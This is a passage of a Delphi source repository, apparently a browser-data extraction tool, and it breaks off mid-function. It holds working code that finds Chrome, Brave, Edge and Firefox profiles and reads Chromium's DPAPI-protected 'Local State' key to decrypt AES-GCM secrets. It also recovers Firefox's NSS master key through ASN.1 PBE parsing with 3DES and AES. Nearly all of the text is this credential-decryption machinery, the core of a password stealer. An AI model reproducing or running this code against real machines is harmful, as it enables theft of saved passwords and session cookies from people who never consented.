Query.Open; 296 | Result := Query.FieldByName('count').AsInteger; 297 | finally 298 | Query.Free; 299 | end; 300 | except 301 | on E: Exception do 302 | WriteLn('Error getting sessionStorage count: ', E.Message); 303 | end; 304 | end; 305 | 306 | end. 307 | -------------------------------------------------------------------------------- /src/chromium/ChromiumCrypto.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumCrypto; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, System.Classes, System.IOUtils, System.JSON, System.NetEncoding, 7 | SYstem.Math, Winapi.Windows, DECCipherBase, DECCipherModes, 8 | DECCipherFormats, DECCiphers, DECFormat, DECHash; 9 | 10 | type 11 | DATA_BLOB = record 12 | cbData: DWORD; 13 | pbData: PByte; 14 | end; 15 | PDATA_BLOB = ^DATA_BLOB; 16 | TCryptUnprotectData = function(pDataIn: PDATA_BLOB; ppszDataDescr: PWideChar; 17 | pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer; pPromptStruct: Pointer; 18 | dwFlags: DWORD; pDataOut: PDATA_BLOB): BOOL; stdcall; 19 | 20 | // Main decryption functions 21 | function DecryptWithDPAPI(const EncryptedData: TBytes): TBytes; 22 | function DecryptWithChromium(const MasterKey, EncryptedData: TBytes): TBytes; 23 | function GetMasterKey(const ProfilePath: string): TBytes; 24 | 25 | implementation 26 | 27 | function DecryptWithDPAPI(const EncryptedData: TBytes): TBytes; 28 | var 29 | DLLHandle: THandle; 30 | CryptUnprotectData: TCryptUnprotectData; 31 | DataIn, DataOut: DATA_BLOB; 32 | begin 33 | SetLength(Result, 0); 34 | if Length(EncryptedData) = 0 then 35 | Exit; 36 | DLLHandle := LoadLibrary('Crypt32.dll'); 37 | if DLLHandle = 0 then 38 | Exit; 39 | try 40 | @CryptUnprotectData := GetProcAddress(DLLHandle, 'CryptUnprotectData'); 41 | if not Assigned(CryptUnprotectData) then 42 | Exit; 43 | DataIn.cbData := Length(EncryptedData); 44 | DataIn.pbData := @EncryptedData[0]; 45 | if CryptUnprotectData(@DataIn, nil, nil, nil, nil, 0, @DataOut) then 46 | begin 47 | SetLength(Result, DataOut.cbData); 48 | Move(DataOut.pbData^, Result[0], DataOut.cbData); 49 | LocalFree(HLOCAL(DataOut.pbData)); 50 | end; 51 | finally 52 | FreeLibrary(DLLHandle); 53 | end; 54 | end; 55 | 56 | function AESGCMDecrypt(const Key, Nonce, CipherText: TBytes): TBytes; 57 | var 58 | Cipher: TCipher_AES; 59 | Data: TBytes; 60 | begin 61 | SetLength(Result, 0); 62 | 63 | // Separate auth tag (last 16 bytes) 64 | SetLength(Data, Length(CipherText) - 16); 65 | Move(CipherText[0], Data[0], Length(Data)); 66 | 67 | Cipher := TCipher_AES.Create; 68 | try 69 | Cipher.Mode := cmGCM; 70 | Cipher.Init(Key, Nonce); 71 | Result := Cipher.DecodeBytes(Data); 72 | finally 73 | Cipher.Free; 74 | end; 75 | end; 76 | 77 | function DecryptWithChromium(const MasterKey, EncryptedData: TBytes): TBytes; 78 | const 79 | NONCE_SIZE = 12; 80 | MIN_SIZE = 15; // 3 bytes prefix + 12 bytes nonce minimum 81 | GCM_TAG_SIZE = 16; 82 | var 83 | Nonce, CipherText: TBytes; 84 | begin 85 | SetLength(Result, 0); 86 | 87 | if Length(EncryptedData) < (MIN_SIZE + GCM_TAG_SIZE) then 88 | Exit; 89 | 90 | // Extract nonce (12 bytes after prefix) 91 | SetLength(Nonce, NONCE_SIZE); 92 | Move(EncryptedData[3], Nonce[0], NONCE_SIZE); 93 | 94 | // Get encrypted data portion (including auth tag) 95 | SetLength(CipherText, Length(EncryptedData) - (3 + NONCE_SIZE)); 96 | Move(EncryptedData[3 + NONCE_SIZE], CipherText[0], Length(CipherText)); 97 | 98 | Result := AESGCMDecrypt(MasterKey, Nonce, CipherText); 99 | end; 100 | 101 | 102 | function GetMasterKey(const ProfilePath: string): TBytes; 103 | var 104 | LocalStatePath: string; 105 | JsonText: string; 106 | JsonValue: TJSONValue; 107 | EncodedKey: string; 108 | EncryptedKey, DecryptedKey: TBytes; 109 | begin 110 | SetLength(Result, 0); 111 | try 112 | // Get path to Local State file 113 | LocalStatePath := TPath.Combine(TPath.GetDirectoryName(ProfilePath), 'Local State'); 114 | 115 | // Check if file exists 116 | if not TFile.Exists(LocalStatePath) then 117 | Exit; 118 | 119 | // Read and parse JSON 120 | JsonText := TFile.ReadAllText(LocalStatePath); 121 | JsonValue := TJSONObject.ParseJSONValue(JsonText); 122 | try 123 | // Navigate JSON path: os_crypt -> encrypted_key 124 | if not (JsonValue is TJSONObject) then 125 | Exit; 126 | 127 | JsonValue := TJSONObject(JsonValue).GetValue('os_crypt'); 128 | if not (JsonValue is TJSONObject) then 129 | Exit; 130 | 131 | EncodedKey := TJSONObject(JsonValue).GetValue('encrypted_key').Value; 132 | if EncodedKey = '' then 133 | Exit; 134 | 135 | // Decode base64 136 | EncryptedKey := TNetEncoding.Base64.DecodeStringToBytes(EncodedKey); 137 | 138 | // Remove 'DPAPI' prefix (first 5 bytes) 139 | if Length(EncryptedKey) <= 5 then 140 | Exit; 141 | 142 | SetLength(DecryptedKey, Length(EncryptedKey) - 5); 143 | Move(EncryptedKey[5], DecryptedKey[0], Length(DecryptedKey)); 144 | 145 | // Decrypt the key using DPAPI 146 | Result := DecryptWithDPAPI(DecryptedKey); 147 | 148 | finally 149 | JsonValue.Free; 150 | end; 151 | except 152 | on E: Exception do 153 | SetLength(Result, 0); 154 | end; 155 | end; 156 | 157 | end. 158 | -------------------------------------------------------------------------------- /src/chromium/ChromiumProfiles.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumProfiles; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, System.Classes, System.IOUtils; 7 | 8 | type 9 | TBrowserKind = (bkChrome, bkBrave, bkEdge); // Added Edge 10 | 11 | TChromiumProfile = record 12 | Name: string; 13 | Path: string; 14 | end; 15 | 16 | TChromiumProfiles = array of TChromiumProfile; 17 | 18 | TChromiumProfileHelper = class 19 | private 20 | FBrowserKind: TBrowserKind; 21 | function GetBrowserPath: string; 22 | function GetBrowserName: string; 23 | public 24 | constructor Create(ABrowserKind: TBrowserKind); 25 | function GetProfiles: TChromiumProfiles; 26 | procedure ListProfiles; 27 | function SelectProfile(ProfileChoice: Integer = 0): string; 28 | end; 29 | 30 | implementation 31 | 32 | constructor TChromiumProfileHelper.Create(ABrowserKind: TBrowserKind); 33 | begin 34 | inherited Create; 35 | FBrowserKind := ABrowserKind; 36 | end; 37 | 38 | function TChromiumProfileHelper.GetBrowserPath: string; 39 | begin 40 | case FBrowserKind of 41 | bkChrome: 42 | Result := TPath.Combine(TPath.Combine( 43 | GetEnvironmentVariable('LOCALAPPDATA'), 44 | 'Google\Chrome\User Data')); 45 | bkBrave: 46 | Result := TPath.Combine(TPath.Combine( 47 | GetEnvironmentVariable('LOCALAPPDATA'), 48 | 'BraveSoftware\Brave-Browser\User Data')); 49 | bkEdge: 50 | Result := TPath.Combine(TPath.Combine( 51 | GetEnvironmentVariable('LOCALAPPDATA'), 52 | 'Microsoft\Edge\User Data')); 53 | end; 54 | end; 55 | 56 | function TChromiumProfileHelper.GetBrowserName: string; 57 | begin 58 | case FBrowserKind of 59 | bkChrome: 60 | Result := 'chrome'; 61 | bkBrave: 62 | Result := 'brave'; 63 | bkEdge: 64 | Result := 'edge'; 65 | end; 66 | end; 67 | 68 | function TChromiumProfileHelper.GetProfiles: TChromiumProfiles; 69 | var 70 | BrowserDir: string; 71 | ProfileDirs: TArray; 72 | ProfileName: string; 73 | begin 74 | SetLength(Result, 0); 75 | BrowserDir := GetBrowserPath; 76 | 77 | if not DirectoryExists(BrowserDir) then 78 | begin 79 | WriteLn(Format('%s directory not found at: %s', [GetBrowserName, BrowserDir])); 80 | Exit; 81 | end; 82 | 83 | // Add default profile first 84 | if DirectoryExists(TPath.Combine(BrowserDir, 'Default')) then 85 | begin 86 | SetLength(Result, Length(Result) + 1); 87 | Result[High(Result)].Name := 'Default'; 88 | Result[High(Result)].Path := TPath.Combine(BrowserDir, 'Default'); 89 | end; 90 | 91 | // Get additional profiles 92 | ProfileDirs := TDirectory.GetDirectories(BrowserDir, 'Profile *'); 93 | for var Dir in ProfileDirs do 94 | begin 95 | ProfileName := ExtractFileName(Dir); 96 | SetLength(Result, Length(Result) + 1); 97 | Result[High(Result)].Name := ProfileName; 98 | Result[High(Result)].Path := Dir; 99 | end; 100 | end; 101 | 102 | procedure TChromiumProfileHelper.ListProfiles; 103 | var 104 | Profiles: TChromiumProfiles; 105 | begin 106 | Profiles := GetProfiles; 107 | if Length(Profiles) = 0 then 108 | begin 109 | WriteLn(Format('No %s profiles found.', [GetBrowserName])); 110 | Exit; 111 | end; 112 | 113 | WriteLn(Format('Available %s profiles:', [GetBrowserName])); 114 | for var i := 0 to High(Profiles) do 115 | WriteLn(i + 1, ' -> ', Profiles[i].Name); 116 | end; 117 | 118 | function TChromiumProfileHelper.SelectProfile(ProfileChoice: Integer = 0): string; 119 | var 120 | Profiles: TChromiumProfiles; 121 | input: string; 122 | begin 123 | Result := ''; 124 | Profiles := GetProfiles; 125 | 126 | if Length(Profiles) = 0 then 127 | begin 128 | WriteLn(Format('No %s profiles found.', [GetBrowserName])); 129 | Exit; 130 | end; 131 | 132 | if (ProfileChoice > 0) and (ProfileChoice <= Length(Profiles)) then 133 | begin 134 | Result := Profiles[ProfileChoice - 1].Path; 135 | Exit; 136 | end; 137 | 138 | WriteLn(Format('Select the %s profile:', [GetBrowserName])); 139 | for var i := 0 to High(Profiles) do 140 | WriteLn(i + 1, ' -> ', Profiles[i].Name); 141 | 142 | while True do 143 | begin 144 | Write('Profile number (1-', Length(Profiles), '): '); 145 | ReadLn(input); 146 | if TryStrToInt(input, ProfileChoice) and 147 | (ProfileChoice >= 1) and (ProfileChoice <= Length(Profiles)) then 148 | begin 149 | Result := Profiles[ProfileChoice - 1].Path; 150 | Break; 151 | end; 152 | WriteLn('Invalid selection. Please try again.'); 153 | end; 154 | end; 155 | 156 | end. -------------------------------------------------------------------------------- /src/common/BrowserDetector.pas: -------------------------------------------------------------------------------- 1 | unit BrowserDetector; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, System.IOUtils; 7 | 8 | type 9 | TBrowserInfo = record 10 | IsInstalled: Boolean; 11 | InstallPath: string; 12 | end; 13 | 14 | TBrowserDetector = class 15 | private 16 | FChromePath: string; 17 | FFirefoxPath: string; 18 | FBravePath: string; 19 | FEdgePath: string; 20 | function GetChromeInfo: TBrowserInfo; 21 | function GetFirefoxInfo: TBrowserInfo; 22 | function GetBraveInfo: TBrowserInfo; 23 | function GetEdgeInfo: TBrowserInfo; 24 | public 25 | constructor Create; 26 | property ChromeInfo: TBrowserInfo read GetChromeInfo; 27 | property FirefoxInfo: TBrowserInfo read GetFirefoxInfo; 28 | property BraveInfo: TBrowserInfo read GetBraveInfo; 29 | property EdgeInfo: TBrowserInfo read GetEdgeInfo; 30 | function IsChromeInstalled: Boolean; 31 | function IsFirefoxInstalled: Boolean; 32 | function IsBraveInstalled: Boolean; 33 | function IsEdgeInstalled: Boolean; 34 | class function GetBrowserName(IsChrome, IsFirefox, IsBrave, IsEdge: Boolean): string; 35 | end; 36 | 37 | implementation 38 | 39 | constructor TBrowserDetector.Create; 40 | begin 41 | inherited; 42 | FChromePath := TPath.Combine(TPath.Combine( 43 | GetEnvironmentVariable('LOCALAPPDATA'), 44 | 'Google\Chrome')); 45 | FFirefoxPath := TPath.Combine(TPath.Combine( 46 | GetEnvironmentVariable('APPDATA'), 47 | 'Mozilla\Firefox')); 48 | FBravePath := TPath.Combine(TPath.Combine( 49 | GetEnvironmentVariable('LOCALAPPDATA'), 50 | 'BraveSoftware\Brave-Browser')); 51 | FEdgePath := TPath.Combine(TPath.Combine( 52 | GetEnvironmentVariable('LOCALAPPDATA'), 53 | 'Microsoft\Edge')); 54 | end; 55 | 56 | function TBrowserDetector.GetChromeInfo: TBrowserInfo; 57 | begin 58 | Result.IsInstalled := DirectoryExists(FChromePath); 59 | Result.InstallPath := FChromePath; 60 | end; 61 | 62 | function TBrowserDetector.GetFirefoxInfo: TBrowserInfo; 63 | begin 64 | Result.IsInstalled := DirectoryExists(FFirefoxPath); 65 | Result.InstallPath := FFirefoxPath; 66 | end; 67 | 68 | function TBrowserDetector.GetBraveInfo: TBrowserInfo; 69 | begin 70 | Result.IsInstalled := DirectoryExists(FBravePath); 71 | Result.InstallPath := FBravePath; 72 | end; 73 | 74 | function TBrowserDetector.GetEdgeInfo: TBrowserInfo; 75 | begin 76 | Result.IsInstalled := DirectoryExists(FEdgePath); 77 | Result.InstallPath := FEdgePath; 78 | end; 79 | 80 | function TBrowserDetector.IsChromeInstalled: Boolean; 81 | begin 82 | Result := DirectoryExists(FChromePath); 83 | end; 84 | 85 | function TBrowserDetector.IsFirefoxInstalled: Boolean; 86 | begin 87 | Result := DirectoryExists(FFirefoxPath); 88 | end; 89 | 90 | function TBrowserDetector.IsBraveInstalled: Boolean; 91 | begin 92 | Result := DirectoryExists(FBravePath); 93 | end; 94 | 95 | function TBrowserDetector.IsEdgeInstalled: Boolean; 96 | begin 97 | Result := DirectoryExists(FEdgePath); 98 | end; 99 | 100 | class function TBrowserDetector.GetBrowserName(IsChrome, IsFirefox, IsBrave, IsEdge: Boolean): string; 101 | var 102 | InstalledBrowsers: TArray; 103 | begin 104 | SetLength(InstalledBrowsers, 0); 105 | if IsChrome then 106 | InstalledBrowsers := InstalledBrowsers + ['Chrome']; 107 | if IsFirefox then 108 | InstalledBrowsers := InstalledBrowsers + ['Firefox']; 109 | if IsBrave then 110 | InstalledBrowsers := InstalledBrowsers + ['Brave']; 111 | if IsEdge then 112 | InstalledBrowsers := InstalledBrowsers + ['Edge']; 113 | 114 | case Length(InstalledBrowsers) of 115 | 0: Result := 'No supported browsers'; 116 | 1: Result := InstalledBrowsers[0]; 117 | 2: Result := InstalledBrowsers[0] + ', ' + InstalledBrowsers[1]; 118 | 3: Result := InstalledBrowsers[0] + ', ' + InstalledBrowsers[1] + ', ' + InstalledBrowsers[2]; 119 | 4: Result := InstalledBrowsers[0] + ', ' + InstalledBrowsers[1] + ', ' + 120 | InstalledBrowsers[2] + ', ' + InstalledBrowsers[3]; 121 | end; 122 | end; 123 | 124 | end. 125 | -------------------------------------------------------------------------------- /src/firefox/FirefoxCrypto.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxCrypto; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils,System.Classes,System.IniFiles,System.JSON,System.IOUtils, 7 | System.Win.Registry,System.Math,System.StrUtils,System.NetEncoding, 8 | Winapi.Windows,Uni,SQLiteUniProvider,DECCipherBase,DECCipherModes, 9 | DECCipherFormats,DECCiphers,DECFormat,DECHash; 10 | 11 | const 12 | ASN1_INTEGER = $02; 13 | ASN1_OCTETSTRING = $04; 14 | ASN1_OBJECT_ID = $06; 15 | ASN1_SEQUENCE = $30; 16 | 17 | type 18 | EASN1Error = class(Exception); 19 | EMasterKeyError = class(Exception); 20 | 21 | IASN1PBE = interface 22 | ['{A8F43B2E-9C74-4D23-B6A8-1234567890AB}'] 23 | function Decrypt(const GlobalSalt: TBytes): TBytes; 24 | function Encrypt(const GlobalSalt, PlainText: TBytes): TBytes; 25 | end; 26 | 27 | TKeyIVPair = record 28 | Key: TBytes; 29 | IV: TBytes; 30 | end; 31 | 32 | TASN1Reader = class 33 | private 34 | FData: TBytes; 35 | FPosition: Integer; 36 | function ReadTag: Byte; 37 | function ReadLength: Integer; 38 | function ReadValue(Length: Integer): TBytes; 39 | function ReadInteger: Integer; 40 | function ReadOctetString: TBytes; 41 | function ReadObjectIdentifier: TBytes; 42 | procedure ReadSequence(out SeqLength: Integer); 43 | public 44 | constructor Create(const Data: TBytes); 45 | end; 46 | 47 | TNssPBE = class(TInterfacedObject, IASN1PBE) 48 | private 49 | FEntrySalt: TBytes; 50 | FLen: Integer; 51 | FEncrypted: TBytes; 52 | function DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair; 53 | public 54 | constructor Create(const Data: TBytes); 55 | function Decrypt(const GlobalSalt: TBytes): TBytes; 56 | function Encrypt(const GlobalSalt, PlainText: TBytes): TBytes; 57 | end; 58 | 59 | TMetaPBE = class(TInterfacedObject, IASN1PBE) 60 | private 61 | FEntrySalt: TBytes; 62 | FIterationCount: Integer; 63 | FKeySize: Integer; 64 | FIV: TBytes; 65 | FEncrypted: TBytes; 66 | function DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair; 67 | public 68 | constructor Create(const Data: TBytes); 69 | function Decrypt(const GlobalSalt: TBytes): TBytes; 70 | function Encrypt(const GlobalSalt, PlainText: TBytes): TBytes; 71 | end; 72 | 73 | TLoginPBE = class(TInterfacedObject, IASN1PBE) 74 | private 75 | FCipherText: TBytes; 76 | FIV: TBytes; 77 | FEncrypted: TBytes; 78 | function DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair; 79 | public 80 | constructor Create(const Data: TBytes); 81 | function Decrypt(const GlobalSalt: TBytes): TBytes; 82 | function Encrypt(const GlobalSalt, PlainText: TBytes): TBytes; 83 | end; 84 | 85 | function NewASN1PBE(const Data: TBytes): IASN1PBE; 86 | function ProcessMasterKey(const MetaItem1, MetaItem2, NssA11, NssA102: TBytes): TBytes; 87 | 88 | type 89 | TMasterKeyHelper = class 90 | private 91 | FProfilePath: string; 92 | FSQLiteConnection: TUniConnection; 93 | FGlobalSalt: TBytes; 94 | public 95 | constructor Create(const AProfilePath: string); 96 | destructor Destroy; override; 97 | function GetMasterKey: TBytes; 98 | property GlobalSalt: TBytes read FGlobalSalt; 99 | end; 100 | 101 | implementation 102 | 103 | function PKCS5UnPadding(Data: TBytes): TBytes; 104 | var 105 | padding: Integer; 106 | begin 107 | if Length(Data) = 0 then 108 | Exit(Data); 109 | padding := Data[Length(Data) - 1]; 110 | if padding > Length(Data) then 111 | Exit(Data); 112 | SetLength(Result, Length(Data) - padding); 113 | Move(Data[0], Result[0], Length(Result)); 114 | end; 115 | 116 | function PaddingZero(const Data: TBytes; Size: Integer): TBytes; 117 | begin 118 | SetLength(Result, Size); 119 | FillChar(Result[0], Size, 0); 120 | if Length(Data) > 0 then 121 | Move(Data[0], Result[0], Min(Length(Data), Size)); 122 | end; 123 | 124 | { TASN1Reader } 125 | 126 | constructor TASN1Reader.Create(const Data: TBytes); 127 | begin 128 | inherited Create; 129 | FData := Data; 130 | FPosition := 0; 131 | end; 132 | 133 | function TASN1Reader.ReadTag: Byte; 134 | begin 135 | if FPosition >= Length(FData) then 136 | raise EASN1Error.Create('Unexpected end of data reading tag'); 137 | Result := FData[FPosition]; 138 | Inc(FPosition); 139 | end; 140 | 141 | function TASN1Reader.ReadLength: Integer; 142 | var 143 | B: Byte; 144 | ByteCount: Integer; 145 | begin 146 | if FPosition >= Length(FData) then 147 | raise EASN1Error.Create('Unexpected end of data reading length'); 148 | 149 | B := FData[FPosition]; 150 | Inc(FPosition); 151 | 152 | if B < $80 then 153 | Exit(B); 154 | 155 | ByteCount := B and $7F; 156 | Result := 0; 157 | 158 | for var i := 0 to ByteCount - 1 do 159 | begin 160 | if FPosition >= Length(FData) then 161 | raise EASN1Error.Create('Unexpected end of data reading length bytes'); 162 | Result := (Result shl 8) or FData[FPosition]; 163 | Inc(FPosition); 164 | end; 165 | end; 166 | 167 | function TASN1Reader.ReadValue(Length: Integer): TBytes; 168 | begin 169 | if FPosition + Length > System.Length(FData) then 170 | raise EASN1Error.Create('Unexpected end of data reading value'); 171 | 172 | SetLength(Result, Length); 173 | if Length > 0 then 174 | begin 175 | Move(FData[FPosition], Result[0], Length); 176 | Inc(FPosition, Length); 177 | end; 178 | end; 179 | 180 | function TASN1Reader.ReadInteger: Integer; 181 | var 182 | Value: TBytes; 183 | begin 184 | if ReadTag <> ASN1_INTEGER then 185 | raise EASN1Error.Create('Expected INTEGER tag'); 186 | 187 | Value := ReadValue(ReadLength); 188 | if Length(Value) = 1 then 189 | Result := Value[0] 190 | else 191 | begin 192 | Result := 0; 193 | for var i := 0 to Length(Value) - 1 do 194 | Result := (Result shl 8) or Value[i]; 195 | end; 196 | end; 197 | 198 | function TASN1Reader.ReadOctetString: TBytes; 199 | begin 200 | if ReadTag <> ASN1_OCTETSTRING then 201 | raise EASN1Error.Create('Expected OCTET STRING tag'); 202 | Result := ReadValue(ReadLength); 203 | end; 204 | 205 | function TASN1Reader.ReadObjectIdentifier: TBytes; 206 | begin 207 | if ReadTag <> ASN1_OBJECT_ID then 208 | raise EASN1Error.Create('Expected OBJECT IDENTIFIER tag'); 209 | Result := ReadValue(ReadLength); 210 | end; 211 | 212 | procedure TASN1Reader.ReadSequence(out SeqLength: Integer); 213 | begin 214 | if ReadTag <> ASN1_SEQUENCE then 215 | raise EASN1Error.Create('Expected SEQUENCE tag'); 216 | SeqLength := ReadLength; 217 | end; 218 | 219 | { TNssPBE } 220 | 221 | constructor TNssPBE.Create(const Data: TBytes); 222 | var 223 | Reader: TASN1Reader; 224 | SeqLength: Integer; 225 | begin 226 | inherited Create; 227 | Reader := TASN1Reader.Create(Data); 228 | try 229 | Reader.ReadSequence(SeqLength); 230 | Reader.ReadSequence(SeqLength); 231 | Reader.ReadObjectIdentifier; // Skip OID 232 | Reader.ReadSequence(SeqLength); 233 | FEntrySalt := Reader.ReadOctetString; 234 | FLen := Reader.ReadInteger; 235 | FEncrypted := Reader.ReadOctetString; 236 | finally 237 | Reader.Free; 238 | end; 239 | end; 240 | 241 | function TNssPBE.DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair; 242 | var 243 | Hash: THash_SHA1; 244 | Salt, HashPrefix, CompositeHash, PaddedSalt: TBytes; 245 | HmacResult, KeyComp1, KeyComp2, CombinedKey: TBytes; 246 | begin 247 | Hash := THash_SHA1.Create; 248 | try 249 | Salt := FEntrySalt; 250 | HashPrefix := Hash.CalcBytes(GlobalSalt); 251 | 252 | SetLength(CompositeHash, Length(HashPrefix) + Length(Salt)); 253 | Move(HashPrefix[0], CompositeHash[0], Length(HashPrefix)); 254 | Move(Salt[0], CompositeHash[Length(HashPrefix)], Length(Salt)); 255 | CompositeHash := Hash.CalcBytes(CompositeHash); 256 | 257 | PaddedSalt := PaddingZero(Salt, 20); 258 | HmacResult := Hash.HMAC(PaddedSalt, CompositeHash); 259 | 260 | // Generate key components 261 | KeyComp1 := Hash.HMAC(PaddedSalt + Salt, CompositeHash); 262 | KeyComp2 := Hash.HMAC(HmacResult + Salt, CompositeHash); 263 | 264 | // Combine key components 265 | SetLength(CombinedKey, Length(KeyComp1) + Length(KeyComp2)); 266 | Move(KeyComp1[0], CombinedKey[0], Length(KeyComp1)); 267 | Move(KeyComp2[0], CombinedKey[Length(KeyComp1)], Length(KeyComp2)); 268 | 269 | // Extract key and IV 270 | SetLength(Result.Key, 24); 271 | Move(CombinedKey[0], Result.Key[0], 24); 272 | 273 | SetLength(Result.IV, 8); 274 | Move(CombinedKey[Length(CombinedKey) - 8], Result.IV[0], 8); 275 | finally 276 | Hash.Free; 277 | end; 278 | end; 279 | 280 | function TNssPBE.Decrypt(const GlobalSalt: TBytes): TBytes; 281 | var 282 | KeyIV: TKeyIVPair; 283 | Cipher: TCipher_3DES; 284 | begin 285 | KeyIV := DeriveKeyAndIV(GlobalSalt); 286 | Cipher := TCipher_3DES.Create; 287 | try 288 | Cipher.Mode := cmCBCx; 289 | Cipher.Init(KeyIV.Key, KeyIV.IV); 290 | Result := PKCS5UnPadding(Cipher.DecodeBytes(FEncrypted)); 291 | finally 292 | Cipher.Free; 293 | end; 294 | end; 295 | 296 | function TNssPBE.Encrypt(const GlobalSalt, PlainText: TBytes): TBytes; 297 | var 298 | KeyIV: TKeyIVPair; 299 | Cipher: TCipher_3DES; 300 | begin 301 | KeyIV := DeriveKeyAndIV(GlobalSalt); 302 | Cipher := TCipher_3DES.Create; 303 | try 304 | Cipher.Mode := cmCBCx; 305 | Cipher.Init(KeyIV.Key, KeyIV.IV); 306 | Result := Cipher.EncodeBytes(PlainText); 307 | finally 308 | Cipher.Free; 309 | end; 310 | end; 311 | 312 | { TMetaPBE } 313 | 314 | constructor TMetaPBE.Create(const Data: TBytes); 315 | var 316 | Reader: TASN1Reader; 317 | SeqLength: Integer; 318 | begin 319 | inherited Create; 320 | Reader := TASN1Reader.Create(Data); 321 | try 322 | Reader.ReadSequence(SeqLength); 323 | Reader.ReadSequence(SeqLength); 324 | Reader.ReadObjectIdentifier; // Skip OID 325 | Reader.ReadSequence(SeqLength); 326 | Reader.ReadSequence(SeqLength); 327 | Reader.ReadObjectIdentifier; // Skip OID 328 | Reader.ReadSequence(SeqLength); 329 | FEntrySalt := Reader.ReadOctetString; 330 | FIterationCount := Reader.ReadInteger; 331 | FKeySize := Reader.ReadInteger; 332 | Reader.ReadSequence(SeqLength); 333 | Reader.ReadObjectIdentifier; // Skip Algorithm OID 334 | Reader.ReadSequence(SeqLength); 335 | Reader.ReadObjectIdentifier; // Skip IV OID 336 | FIV := Reader.ReadOctetString; 337 | FEncrypted := Reader.ReadOctetString; 338 | finally 339 | Reader.Free; 340 | end; 341 | end; 342 | 343 | function TMetaPBE.DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair; 344 | var 345 | Hash: THash_SHA1; 346 | Password: TBytes; 347 | begin 348 | Hash := THash_SHA1.Create; 349 | try 350 | Password := Hash.CalcBytes(GlobalSalt); 351 | Result.Key := THash_SHA256.PBKDF2(Password, FEntrySalt, FIterationCount, FKeySize); 352 | SetLength(Result.IV, 16); 353 | Result.IV[0] := 4; 354 | Result.IV[1] := 14; 355 | Move(FIV[0], Result.IV[2], Min(14, Length(FIV))); 356 | finally 357 | Hash.Free; 358 | end; 359 | end; 360 | 361 | function TMetaPBE.Decrypt(const GlobalSalt: TBytes): TBytes; 362 | var 363 | KeyIV: TKeyIVPair; 364 | Cipher: TCipher_AES256; 365 | begin 366 | KeyIV := DeriveKeyAndIV(GlobalSalt); 367 | Cipher := TCipher_AES256.Create; 368 | try 369 | Cipher.Mode := cmCBCx; 370 | Cipher.Init(KeyIV.Key, KeyIV.IV); 371 | Result := PKCS5UnPadding(Cipher.DecodeBytes(FEncrypted)); 372 | finally 373 | Cipher.Free; 374 | end; 375 | end; 376 | 377 | function TMetaPBE.Encrypt(const GlobalSalt, PlainText: TBytes): TBytes; 378 | var 379 | KeyIV: TKeyIVPair; 380 | Cipher: TCipher_AES256; 381 | begin 382 | KeyIV := DeriveKeyAndIV(GlobalSalt); 383 | Cipher := TCipher_AES256.Create; 384 | try 385 | Cipher.Mode := cmCBCx; 386 | Cipher.Init(KeyIV.Key, KeyIV.IV); 387 | Result := Cipher.EncodeBytes(PlainText); 388 | finally 389 | Cipher.Free; 390 | end; 391 | end; 392 | 393 | { TLoginPBE } 394 | 395 | constructor TLoginPBE.Create(const Data: TBytes); 396 | var 397 | Reader: TASN1Reader; 398 | SeqLength: Integer; 399 | begin 400 | inherited Create; 401 | Reader := TASN1Reader.Create(Data); 402 | try 403 | Reader.ReadSequence(SeqLength); 404 | FCipherText := Reader.ReadOctetString; 405 | Reader.ReadSequence(SeqLength); 406 | Reader.ReadObjectIdentifier; // Skip OID 407 | FIV := Reader.ReadOctetString; 408 | FEncrypted := Reader.ReadOctetString; 409 | finally 410 | Reader.Free; 411 | end; 412 | end; 413 | 414 | function TLoginPBE.DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair; 415 | begin 416 | Result.Key := GlobalSalt; 417 | Result.IV := FIV; 418 | end; 419 | 420 | function TLoginPBE.Decrypt(const GlobalSalt: TBytes): TBytes; 421 | var 422 | KeyIV: TKeyIVPair; 423 | Cipher: TCipher_3DES; 424 | begin 425 | KeyIV := DeriveKeyAndIV(GlobalSalt); 426 | Cipher := TCipher_3DES.Create; 427 | try 428 | Cipher.Mode := cmCBCx; 429 | Cipher.Init(KeyIV.Key, KeyIV.IV); 430 | Result := PKCS5UnPadding(Cipher.DecodeBytes(FEncrypted)); 431 | finally 432 | Cipher.Free; 433 | end; 434 | end; 435 | 436 | function TLoginPBE.Encrypt(const GlobalSalt, PlainText: TBytes): TBytes; 437 | var 438 | KeyIV: TKeyIVPair; 439 | Cipher: TCipher_3DES; 440 | begin 441 | KeyIV := DeriveKeyAndIV(GlobalSalt); 442 | Cipher := TCipher_3DES.Create; 443 | try 444 | Cipher.Mode := cmCBCx; 445 | Cipher.Init(KeyIV.Key, KeyIV.IV); 446 | Result := Cipher.EncodeBytes(PlainText); 447 | finally 448 | Cipher.Free; 449 | end; 450 | end; 451 | 452 | function NewASN1PBE(const Data: TBytes): IASN1PBE; 453 | begin 454 | try 455 | Result := TNssPBE.Create(Data); 456 | Exit; 457 | except 458 | // Continue to next type 459 | end; 460 | 461 | try 462 | Result := TMetaPBE.Create(Data); 463 | Exit; 464 | except 465 | // Continue to next type 466 | end; 467 | 468 | try 469 | Result := TLoginPBE.Create(Data); 470 | Exit; 471 | except 472 | // Continue to next type 473 | end; 474 | 475 | raise EASN1Error.Create('Failed to decode ASN1 data'); 476 | end; 477 | 478 | function ProcessMasterKey(const MetaItem1, MetaItem2, NssA11, NssA102: TBytes): TBytes; 479 | const 480 | PASSWORD_CHECK = 'password-check'; 481 | EXPECTED_KEY: array[0..15] of Byte = ( 482 | $F8, $00, $00, $00, $00, $00, $00, $00, 483 | $00, $00, $00, $00, $00, $00, $00, $01 484 | ); 485 | var 486 | MetaPBE, NssA11PBE: IASN1PBE; 487 | Flag, FinallyKey: TBytes; 488 | PasswordCheckBytes: TBytes; 489 | begin 490 | try 491 | // Create and decrypt MetaPBE 492 | MetaPBE := NewASN1PBE(MetaItem2); 493 | Flag := 